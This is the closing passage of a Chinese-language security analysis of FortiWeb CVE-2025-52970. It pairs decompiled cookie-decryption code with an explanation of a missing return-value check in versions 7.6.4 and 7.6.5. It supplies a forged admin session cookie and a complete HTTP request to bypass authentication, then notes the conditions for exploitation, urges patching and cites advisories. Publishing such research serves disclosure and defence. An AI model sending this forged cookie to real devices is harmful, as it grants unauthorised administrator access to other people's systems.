( (int )EVP_DecodeFinal(v6, &v24[n[0 ]]) < 0 ) goto LABEL_25; n[0 ] += v23; if ( v2 < n[0 ] ) __assert_fail("md_len <= b64_md_len" , "cookie_wrap.c" , 0x160 u, "cookieval_unwrap" ); EVP_DecodeInit(v6); v22 = *(_QWORD *)&n[1 ]; if ( (int )EVP_DecodeUpdate(v6, ptr, &n[1 ], v28, (unsigned int )v3) < 0 ) goto LABEL_25; v22 -= *(_QWORD *)&n[1 ]; if ( (int )EVP_DecodeFinal(v6, &ptr[*(_QWORD *)&n[1 ]]) < 0 ) goto LABEL_25; v7 = *(_QWORD *)&n[1 ] + v22; *(_QWORD *)&n[1 ] = v7; if ( v3 < v7 ) __assert_fail("des_len <= b64_des_len" , "cookie_wrap.c" , 0x16F u, "cookieval_unwrap" ); v8 = nCfg_debug_zone + 32LL * v20 + 104256 ; v9 = EVP_sha1(); if ( HMAC(v9, v8, 32LL , ptr, v7) && (v10 = memcmp (v24, v25, n[0 ])) == 0 && (v11 = EVP_CIPHER_CTX_new()) != 0 ) { v22 = v17; v23 = v17; EVP_CIPHER_CTX_reset(v11); v12 = nCfg_debug_zone; s2 = (void *)(nCfg_debug_zone + 32LL * v20 + 104256 ); v13 = EVP_des_ede3_cbc(); EVP_DecryptInit(v11, v13, s2, (char *)&stru_19780 + v12); if ( (unsigned int )EVP_DecryptUpdate(v11, src, &v22, ptr, n[1 ]) && (v23 -= v22, (unsigned int )EVP_DecryptFinal(v11, &src[v22], &v23)) ) { v14 = v22 + v23; v22 = v14; if ( v14 >= v17 ) __assert_fail("cv_unwrapped_len < cv_unwrapped_size" , "cookie_wrap.c" , 0x195 u, "cookieval_unwrap" ); memcpy (a1, src, v14); } else { v10 = -1 ; } EVP_CIPHER_CTX_free(v11); } else { LABEL_25: v10 = -1 ; } EVP_ENCODE_CTX_free(v6); } else { v10 = -1 ; } free (ptr); } else { v10 = -1 ; free (0LL ); } } else { v10 = -1 ; src = 0LL ; free (0LL ); } free (src); return v10; }
在这个版本中,代码在获取了 Era 参数之后,会限制 0 <= Era <= 1,并且在初始化随机数时会调用两次 get_rnd_bytes,看起来似乎没有问题了。
但正常来说调用了 cookieval_unwrap 函数后,如果解密 Cookie 失败,此函数会返回 -1,调用方需要检查函数的返回值确保数据解密失败及时退出,但在 7.6.4 & 7.6.5 版本中,ApacheCookie_parse 函数调用 cookieval_unwrap 之后并没有检查其返回值,导致攻击者可以直接传入类似:
1 Cookie: APSCOOKIE_FWEB_8672793038565212270=3376695600&FVVM00UNLICENSED&admin&644972882&47&admin&prof_admin&root&AbcXXYJMW&0&0;
格式的数据来跳过解密逻辑,直接进入后续的 session 验证流程,也就无需一个越界读取漏洞了。你可以用下面的请求来测试:
1 2 3 4 5 6 GET /api/v2.0/system/admintimeout.extend HTTP/1.1 Host: 192.168.66.100 Cookie: APSCOOKIE_FWEB_8672793038565212270=3376695600&FVVM00UNLICENSED&admin&644972882&48&admin&prof_admin&root&AbcXXYJMW&0&0; Connection: close
总的来说,CVE-2025-52970 理论上可以用于伪造 Session 信息并登录系统,但需要满足条件:
攻击者知道目标设备的序列号。
在发起攻击时,需要有管理员用户在线。
这两个条件相对比较复杂,因此 Fortinet 给这个漏洞的评分为 CVSSV3 7.7。另外本文复现的前两个漏洞存在在野利用,建议使用 FortiWeb 系统的用户尽快应用官方提供的补丁。
参考文章 https://www.rapid7.com/blog/post/etr-critical-vulnerability-in-fortinet-fortiweb-exploited-in-the-wild/
https://x.com/defusedcyber/status/1975242250373517373
https://labs.watchtowr.com/when-the-impersonation-function-gets-used-to-impersonate-users-fortinet-fortiweb-auth-bypass/
https://pwner.gg/blog/2025-08-13-fortiweb-cve-2025-52970
https://fortiguard.fortinet.com/psirt/FG-IR-25-448
https://fortiguard.fortinet.com/psirt/FG-IR-25-910